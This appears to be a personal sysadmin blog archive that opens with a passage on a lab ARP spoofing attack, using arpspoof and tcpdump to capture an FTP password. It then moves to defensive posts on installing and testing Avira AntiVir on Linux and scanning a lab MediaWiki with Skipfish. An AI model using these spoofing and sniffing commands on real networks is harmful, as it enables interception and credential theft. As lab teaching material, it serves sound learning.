? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.10) at 00:0c:29:69:81:47 [ether] on eth0

javi@victim:~$ arp -a
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.11) at 00:0c:29:18:36:e6 [ether] on eth0

Next step is to alter those tables by transmitting fake ARP frames.

root@attacker:~# arpspoof -i eth0 -t 192.168.1.10 192.168.1.11
0:c:29:20:9f:9b 0:c:29:69:81:47 0806 42: arp reply 192.168.1.11 is-at 0:c:29:20:9f:9b
...

root@attacker:~# arpspoof -i eth0 -t 192.168.1.11 192.168.1.10
0:c:29:20:9f:9b 0:c:29:18:36:e6 0806 42: arp reply 192.168.1.10 is-at 0:c:29:20:9f:9b
...

If we output the ARP tables again, we can see that the entries have been changed.

javi@ubuntu-server:~$ arp -a
? (192.168.1.20) at 00:0c:29:20:9f:9b [ether] on eth0
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.10) at 00:0c:29:20:9f:9b [ether] on eth0

javi@victim:~$ arp -a
? (192.168.1.11) at 00:0c:29:20:9f:9b [ether] on eth0
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.20) at 00:0c:29:20:9f:9b [ether] on eth0

At this point, the attacker is ready to sniff all traffic between the implicated nodes. To simplify the test, just the FTP data will be picked up. In this case, I am dumping all FTP packets within a text file with tcpdump, so as to be able to analyze them before with Wireshark. I could also use Wireshark directly by means of a filter.

root@attacker:~# tcpdump -ni eth0 port 21 -s0 -w ftp.pcap

Last step is to establish a FTP session between victim and ubuntu-server.

javi@victim:~$ ftp 192.168.1.11
Connected to 192.168.1.11.
220 (vsFTPd 2.3.2)
Name (192.168.1.11:javi): javi
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Now we are going to open the captured file through Wireshark. As you can distinguish, the password has been catched.

In addition, if you follow the TCP stream, you will be able to find out that there are several retransmissions. That occurs because the attacker has to forward the TCP/IP packets. This sequence would come out as well if you run tcpdump on ubuntu-server.

And finally, also mention that if IP forwarding was not activated, we would be causing a Denial of Service attack (DoS), due to the communication would be cut out.

Avira AntiVir Personal on Linux (IV)

With this post, I am going to end up the series of articles about Avira Antivir Personal on Linux. So, let's take a look at one of its more important modules: AntiVir Guard.

AntiVir Guard takes care of scanning and protecting a filesystem on real-time, that is to say, a virus will be detected before accessing on it. How does it work? All directories which we want to protect by AntiVir Guard, will be mounted through DazukoFS module, previously compiled and inserted into the kernel.

[root@centos ~]# cat /etc/fstab
...
/home    /home    dazukofs 

AntiVir Guard (avguard) can be handled either by means of the avguard command or as an init daemon. In this article, I am going to focus on the second option, since it's most useful and handy.

Thereby, we have to set it up by editing its configuration file (/etc/avira/avguard.conf). Below I am going to note the most important features.

[root@centos ~]# vi /etc/avira/avguard.conf
...
# It will try to delete the problem from the infected file (by default is disabled).
# If the repair fails, the AlertAction is carried out.
RepairConcerningFiles

# Once a virus is detected, the access to the file is blocked and the action is logged.
# This allows you to specify an additional action to be followed for the concerning file.
# none or ignore: no further action (by default).
# rename or ren: rename the file by adding the .XXX extension.
# delete or del: delete the concerning file.
# quarantine: move the concerning file into quarantine.
AlertAction delete

# If quarantine option is selected, the infected files are moved into it.
QuarantineDirectory /home/quarantine

# Types of files to be scanned.
# extlist: scan only files with certain extensions.
# smart: scan files based on both their name and content.
# all: scan all files (by default).
ScanMode all

# File where all important operations are logged.
LogFile /var/log/avguard.log

# Detection of harmful or unwanted software (dial-up programs, jokes, faked emails, etc.).
# With the 'alltypes' option, all supported malware types will be detected.
DetectPrefixes adspy=yes appl=no bdc=yes dial=yes game=no joke=no pck=no phish=yes spr=no

# Activate the heuristics for macro virus in office documents.
# [yes (by default) | no].
HeuristicsMacro yes

# Set the level of heuristic detection in all types of files.
# Available values are 0 (off), 1 (low - by default), 2 (medium) and 3 (high).
HeuristicsLevel 2


[root@centos home]# /etc/init.d/avguard restart

To check it out, we are going to download the EICAR file into the /home directory and try out to dump it.

[root@centos home]# wget https://secure.eicar.org/eicar.com.txt

[root@centos home]# cat eicar.com.txt 
cat: eicar.com.txt: Operation not supported

[root@centos home]# tail -f /var/log/avguard.log 
2011-09-18 18:52:48 centos.local avguard.bin[1396]: AVGU: ALERT AntiVir ALERT for file "/home/eicar.com.txt": Details:        Eicar-Test-Signature ; virus ; Contains code of the Eicar-Test-Signature virus
2011-09-18 18:52:48 centos.local avguard.bin[1396]: AVGU: INFO The concerning file /home/eicar.com.txt has been removed from disk.
2011-09-18 18:52:48 centos.local avguard.bin[1396]: AVGU: INFO Info: the alert in file /home/eicar.com.txt was handled. Action(s) taken: access denied, condition logged, file deleted

As you have been able to appreciate, the infected file has been removed when we have tried to read it. So imagine the amount of possibilities which turn out from this module, such as to analyze on-real time a file uploaded to a FTP or HTTP (WebDAV) server, or for instance, you might use tools like swatch in order to send an alert or execute a task.

Avira AntiVir Personal on Linux (III)

Now we have installed Avira AntiVir Personal on Linux (II), in this article I am going to treat one of its main modules: AntiVir Command Line Scanner (avcan).

This component is launched from the command prompt (on-demand), and it takes care of analyzing files in order to look for possible malware infections. Avscan can delete, repair, isolate or simply warn.

One of the most powerful advantages of this kind of tool is which can be integrated with scripts. In this way, you may use it for example with a web service, where the files are uploaded and it can be neccesary to scan them before storing the files into the hard drive.

Avcan can be configured by means of its own configuration file (/etc/avira/avscan.conf). In this manner, when you run the scanner, this will utilize the options established into the file (by default).

But indeed, the most interesting possibility is to be able to set the scanning options when you execute it (on real-time), because for instance, you might have various scanning tasks with different types of analysis.

Then let's take a look at the principal features of avcan. For this purpose, I will download the EICAR test file (harmless virus used to try out the behaviour of an antivirus).

[root@centos ~]# wget https://secure.eicar.org/eicar.com

[root@centos ~]# avscan -h
syntax: avscan [option ...] [directory] [filename] ...
...

When a virus is detected, you may choose between several actions: ignore the alert (none or ignore), remove the file (delete or del), change the name of the file (rename or ren) or move the file into the quarantine area (quarantine). You can also add the '-e' parameter so that the infected file is repaired whenever possible.

[root@centos ~]# avscan --batch --alert-action=quarantine eicar.com

[root@centos ~]# avscan --batch --alert-action=delete -e eicar.com

By adding the '--batch' parameter, we are avoiding to be asked by avscan during the analysis, and all decisions are performed based on the configuration file and command-line settings.

Other option is to detect certain categories of software which are not considered malware, such as jokes programs (joke), files compressed with an unusual tool (pck), dial-up programs (dial) and so on. With the 'alltypes' option, all available types will be treated.

[root@centos ~]# avscan --batch --alert-action=delete --detect-prefixes="joke=yes phish=yes" eicar.com

[root@centos ~]# avscan --batch --alert-action=delete --detect-prefixes=alltypes eicar.com

Regarding the virus analysis, other important option is to enable the heuristic scanning. Avcan is able to use heuristics to conclude if a certain file is malicious. This allows that new or unknown code can be detected before an update. The level of heuristics increases the intensity of the scanning: 0 (off), 1 (low, by default), 2 (medium) and 3 (high).

[root@centos ~]# avscan --batch --alert-action=delete --heur-level=3 eicar.com

By default, avscan decides what files must be scanned from their name or content (smart). You can force it to scan files according to their filename extensions (extlist) or analyze all files regardless of their name or content (all).

[root@centos ~]# avscan --batch --alert-action=delete --scan-mode=all dir/

With respect to the directories, if you want to enable the recursive scanning of all subdirectories within a specific path, you will have to add the '-s' parameter.

And finally, also point out that avscan returns a code after ending the analysis, and it can be really useful to be managed through scripts.

[root@centos ~]# avscan --help
...
list of return codes:
   0: Normal program termination, nothing found, no error
   1: Found concerning file
   3: Suspicious file found
   4: Warnings were issued
 255: Internal error
 254: Configuration error (invalid parameter in command-line
      or configuration file)
 253: Error while preparing on-demand scan
 252: The avguard daemon is not running
 251: The avguard daemon is not accessible
 250: Cannot initialize scan process
 249: Scan process not completed
 248: No valid license found
 211: Program aborted, because the self check failed

[root@centos ~]# avscan --batch --alert-action=delete eicar.com

[root@centos ~]# echo $?
1

If you want to review the rest of options, you can check the avscan.conf file or run the '--help' parameter.

Avira AntiVir Personal on Linux (II)

Once we have installed DazukoFS on the system - Avira AntiVir Personal on Linux (I) -, we are going ahead with the installation of Avira AntiVir 3.1.3.5.

[root@centos tmp]# wget http://dlpe.antivir.com/package/wks_avira/unix/en/pers/antivir_workstation-pers.tar.gz

[root@centos tmp]# tar xvzf antivir_workstation-pers.tar.gz ; cd antivir-workstation-pers-3.1.3.5-0

The installation process is carried out by means of a bash script. After agreeing the license, the installer asks if we want to create a link for avupdate-guard.

[root@centos antivir-workstation-pers-3.1.3.5-0]# ./install
...
Would you like to create a link in /usr/sbin for avupdate-guard ? [y]
linking /usr/sbin/avupdate-guard to /usr/lib/AntiVir/guard/avupdate-guard ... done

Then the script can establish a cron task (/etc/cron.d/avira_updater) for automatic updates.

Would you like to setup Scanner update as cron task ? [y]
...
What time should updates be done [00:15]?
creating Scanner update cronjob ... done

The previous task checks if there is any update related to the scanner, engine or vdf files. On the contrary, if you accept the next request, the Guard module will be also updated periodically.

Would you like to check for Guard updates once a week ? [n]

setup internet updater complete

Next step takes care of installing DazukoFS. Due to this operation was previously accomplished, it will not be necessary to repeat it.

Preinstalled dazukofs module found on your system.

Would you like to reinstall dazukofs now ? [y] n
Dazukofs module is loaded

Through the following question, you can specify what directories must be protected by AntiVir Guard. I have selected the default option. Later, you may change this choice or add more directories by editing the fstab file.

Watch out with this selection, because regardless of the antivirus used, when you set up an on-access daemon, you have to avoid certain directories such as /sys, /proc, /root or directly /.

Guard will automatically protect all directories which are mounted upon dazukofs filesystem.

Please specify at least one directory to be protected by Guard to add in /etc/fstab : [/home]
The following directories will be protected by Guard:
/home

Then the installer verifies if the quarantine directory exists. This directory is used to isolate a suspect or infected file, so as to be able to repair it later.

Would you like to create /home/quarantine ? [y]
creating /home/quarantine ... done

Afterwards, you are asked if you want to make a link to AntiVir Guard and whether it should be automatically activated at system start.

Would you like to create a link in /usr/sbin for avguard ? [y]
linking /usr/sbin/avguard to /usr/lib/AntiVir/guard/avguard ... done

Please specify if boot scripts should be set up.
Set up boot scripts ? [y]

With the last step, we run AntiVir Guard.

Would you like to start AVIRA Guard now? [y]
Starting AVIRA AntiVir Workstation Personal ...
Starting: avguard.bin

After ending up the installation, it is highly recommended to perform a complete update of the application.

[root@centos ~]# avupdate-guard --product=Guard

Avira AntiVir Personal on Linux (I)

I have always said over and over that the myth about there are no viruses for Linux is absolutely false. Occurs that there are fewer viruses on Linux because it is an open operating system, so many people may contribute quickly to fix its fails. In addition, it is more robust and less used than Windows, thereby hackers have got less interest to break it.

But figure for a moment when you are surfing the net, for instance with Firefox, and it turns out that your browser contains any critical vulnerability, or for example, the web page which you are visiting utilizes Java or Flash, and the versions that you have installed on your Linux system are vulnerable... your computer would be exposed to any attack or malware infection.

Now it is clear that many times, Linux is not really the guilty, but the responsability comes from third-party software. For that reason, I think that it is necessary to have installed a good antivirus on our Linux systems, regardless of the kind of distribution.

There are several good and free antivirus for Linux, such as avast, ClamAV, AVG, but my favourite option is Avira AntiVir. Its main features are:

• Easy installation through a script.


• Command Line Scanner: configurable on-demand searches for all malware types (viruses, horms, backdoors, trojans, etc.).


• Resident guard: configurable on-access actions (block, delete, repair, move and rename) when malware is detected.


• Heuristic detection.


• Automatic update for product, scan engine and virus signature file.

The most important characteristic of Avira with regard to other solutions is the AntiVir Guard module (ClamAV has got it too), which runs as a daemon process and it is permanently monitoring all the accesses to the system (on-access) and saving it against possible viruses.

In addition, the AV-Comparatives organization published in April 2011 the last review about On-demand Detection of Malicious Software, and Avira AntiVir reached excellent results.

Other modules belonging to Avira are AntiVir Command Line Scanner (allows to scan files in search of viruses or suspicious elements, and it can be integrated with scripts) and AntiVir Updater (downloads current updates from the Avira web servers, manually or automatically).

Also say that AntiVir Guard is based on DazukoFS, an open source software that provides a kernel module which lets execute online file access control, by intercepting memory and disk calls and passing the information to an user space application, in this case Avira AntiVir. Other applications are also based on Dazuko, such as ClamAV, Panda Security for Linux, F-Secure, etc.

The AntiVir installation package supplies a DazukoFS version which is automatically configured and installed (in theory). DazukoFS depends on the kernel version; for this purpose it is better to install manually this module.

Therefore let's get going to download the version 3.1.2 of Dazuko (this number of version works fine with a 2.6.32 kernel) and install it on our testing system, CentOS 6.0 (32 bits). To begin with, I will also get some necessary packages.

[root@centos ~]# yum install gcc make kernel-devel file

[root@centos tmp]# wget http://dazuko.dnsalias.org/files/dazukofs-3.1.2.tar.gz

[root@centos tmp]# tar xvzf dazukofs-3.1.2.tar.gz ; cd dazukofs-3.1.2

Now we are ready to compile and install DazukoFS as a module into our Linux system.

[root@centos dazukofs-3.1.2]# make ; make dazukofs_install

[root@centos dazukofs-3.1.2]# modprobe dazukofs

[root@centos dazukofs-3.1.2]# echo "modprobe dazukofs" >> /etc/rc.modules

[root@centos dazukofs-3.1.2]# chmod +x /etc/rc.modules

Lastly, also point out that the license of this antivirus allows you to install it for a personal use, for instance on your own PC or your home server. Note that if you use AntiVir Guard via DazukoFS, you will need to compile this module when you change the kernel. For production environments I always suggest ClamAV.

Looking for web security breaches with Skipfish (II)

I am going to finish my article about looking for web security breaches with Skipfish. Once we have got a global sight of skipfish, I will run a test against a default MediaWiki installation.

First, I must create a dictionary although it will not be used in this test. One interesting option that I have chosen is -I, in order to only follow those URLs which match the string associated with the parameter.

javi@ubuntu-server:~/skipfish-1.86b$ cp -a dictionaries/complete.wl dictionary.wl

javi@ubuntu-server:~/skipfish-1.86b$ ./skipfish -W /dev/null -I http://192.168.122.104/mediawiki -o mediawiki_dir http://192.168.122.104/mediawiki

If you do not set this option and skipfish figures out more sites, it will scan them as well. In case you want to shut out a specific URL, you must establish it by means of the -X parameter.

During the crawling, skipfish shows information in real time about its analysis.

skipfish version 1.86b by <lcamtuf@google.com>                                                                                                                                                                                                                          
                                                                                                                                                                                                                                                                 
- 192.168.122.104 -                                                                                                                                                                                                                                                   
                                                                                                                                                                                                                                                                 
Scan statistics:                                                                                                                                                                                                                                                        
                                                                                                                                                                                                                                                                 
Scan time : 0:59:38.542                                                                                                                                                                                                                                           
HTTP requests : 34669 (10.4/s), 100769 kB in, 12487 kB out (31.6 kB/s)                                                                                                                                                                                                
Compression : 77967 kB in, 255451 kB out (53.2% gain)                                                                                                                                                                                                               
HTTP faults : 0 net errors, 0 proto errors, 0 retried, 0 drops                                                                                                                                                                                                      
TCP handshakes : 351 total (152.0 req/conn)                                                                                                                                                                                                                            
TCP faults : 0 failures, 0 timeouts, 3 purged                                                                                                                                                                                                                      
External links : 202 skipped                                                                                                                                                                                                                                           
Reqs pending : 18692                                                                                                                                                                                                                                                 
                                                                                                                                                                                                                                                                 
Database statistics:                                                                                                                                                                                                                                                    
                                                                                                                                                                                                                                                                 
  Pivots : 880 total, 462 done (52.50%)                                                                                                                                                                                                                          
In progress : 34 pending, 145 init, 221 attacks, 18 dict                                                                                                                                                                                                            
Missing nodes : 4 spotted                                                                                                                                                                                                                                             
Node types : 1 serv, 186 dir, 544 file, 16 pinfo, 76 unkn, 57 par, 0 val                                                                                                                                                                                           
Issues found : 11 info, 75 warn, 57 low, 0 medium, 128 high impact                                                                                                                                                                                                   
Dict size : 263 words (263 new), 4 extensions, 256 candidates

At the end of the process, skipfish will dump all the data collected within the mediawiki_dir directory (defined by the -o option), that in turn contains an HTML file (index.html) which allows to view the report generated.




In the previous outcome, skipfish has only found out severe problems related to HTTP PUTs accepted.

So as to be able to understand the results offered by skipfish and if you do not have deep knowledge about web security (like me), you might take a look at the Browser Security Handbook, written and maintained by the same author who is developing skipfish.

Other interesting parameter is for example -A, used for passing HTTP authentication credentials.

And finally, also point out that you can tune skipfish in networking or crawling scopes, through different options which allow to set up for instance parameters related to TCP connections or the depth of the analysis. For getting more information you can check the project documentation.

Looking for web security breaches with Skipfish (I)

When we have to secure a system, it is very important to employ all the security tools we know, in order to protect it all the best we can. Skipfish is one of those applications which always has to be near.

It is a web security scanner, developed in C, which allows to discover lots of security holes on a web site by performing several kinds of tests:

• High risk: SQL / PHP / XML / shell script injections, etc.


• Medium risk: XSS (Cross-Site Scripting), CSS attacks, MIME type problems, etc.


• Low risk: indexed directories, certificate problems, HTTP credentials, etc.

Due to it is written in pure C, it can reach an high performance: around 500 requests per second against targets located on Internet, about 2000 on local networks and more than 7000 on local hosts. Skipfish generates a sitemap with all the discovered paths, a summary of the document types and a set of security breaches.

I am going to try skipfish (1.86b version) out on an Ubuntu Server 10.10, by crawling a default MediaWiki installation. So as to install skipfish, we must fulfill some dependences on our system and then, compile it.

javi@ubuntu-server:~$ sudo aptitude install build-essential libssl-dev libidn11-dev

javi@ubuntu-server:~$ wget http://skipfish.googlecode.com/files/skipfish-1.86b.tgz

javi@ubuntu-server:~/skipfish-1.86b$ tar xvzf skipfish-1.86b.tgz

javi@ubuntu-server:~/skipfish-1.86b$ make

By typing the -h argument, we can take a look at all the available options by skipfish.

javi@ubuntu-server:~/skipfish-1.86b$ ./skipfish -h
skipfish version 1.86b by <lcamtuf@google.com>
Usage: ./skipfish [ options ... ] -o output_dir start_url [ start_url2 ... ]

Authentication and access options:

-A user:pass   - use specified HTTP authentication credentials
-F host=IP     - pretend that 'host' resolves to 'IP'
-C name=val    - append a custom cookie to all requests
-H name=val    - append a custom HTTP header to all requests
-b (i|f|p)     - use headers consistent with MSIE / Firefox / iPhone
-N             - do not accept any new cookies

Crawl scope options:

-d max_depth   - maximum crawl tree depth (16)
-c max_child   - maximum children to index per node (512)
-x max_desc    - maximum descendants to index per branch (8192)
-r r_limit     - max total number of requests to send (100000000)
-p crawl%      - node and link crawl probability (100%)
-q hex         - repeat probabilistic scan with given seed
-I string      - only follow URLs matching 'string'
-X string      - exclude URLs matching 'string'
-K string      - do not fuzz parameters named 'string'
-D domain      - crawl cross-site links to another domain
-B domain      - trust, but do not crawl, another domain
-Z             - do not descend into 5xx locations
-O             - do not submit any forms
-P             - do not parse HTML, etc, to find new links

Reporting options:

-o dir         - write output to specified directory (required)
-M             - log warnings about mixed content / non-SSL passwords
-E             - log all HTTP/1.0 / HTTP/1.1 caching intent mismatches
-U             - log all external URLs and e-mails seen
-Q             - completely suppress duplicate nodes in reports
-u             - be quiet, disable realtime progress stats

Dictionary management options:

-W wordlist    - load an alternative wordlist (skipfish.wl)
-L             - do not auto-learn new keywords for the site
-V             - do not update wordlist based on scan results
-Y             - do not fuzz extensions in directory brute-force
-R age         - purge words hit more than 'age' scans ago
-T name=val    - add new form auto-fill rule
-G max_guess   - maximum number of keyword guesses to keep (256)

Performance settings:

-g max_conn    - max simultaneous TCP connections, global (40)
-m host_conn   - max simultaneous connections, per target IP (10)
-f max_fail    - max number of consecutive HTTP errors (100)
-t req_tmout   - total request response timeout (20 s)
-w rw_tmout    - individual network I/O timeout (10 s)
-i idle_tmout  - timeout on idle HTTP connections (10 s)
-s s_limit     - response size limit (200000 B)
-e             - do not keep binary responses for reporting

Basically we can see that the skipfish command is made up by a set of options, an output directory for saving the results, and a series of URLs to be analyzed.

We have to take into account when skipfish is working out, it just tests those found links, but we also have the possibility to probe other URLs by means of a brute-force attack, by mixing names (index, doc, etc.) and extensions (pdf, bat, etc.). For this purpose, skipfish affords four dictionaries.

javi@ubuntu-server:~/skipfish-1.86b$ ls dictionaries/*.wl                                                                                                                                                                                                                     
dictionaries/complete.wl  dictionaries/extensions-only.wl  dictionaries/medium.wl  dictionaries/minimal.wl

By default, skipfish will treat to use a dictionary named skipfish.wl and situated on the work directory. Therefore either we can copy one of these dictionaries into the work directory under this name, or use the -W option to define the wordlist path or on the contrary, not to use a dictionary.

As the application is crawling, adds new words within the dictionary.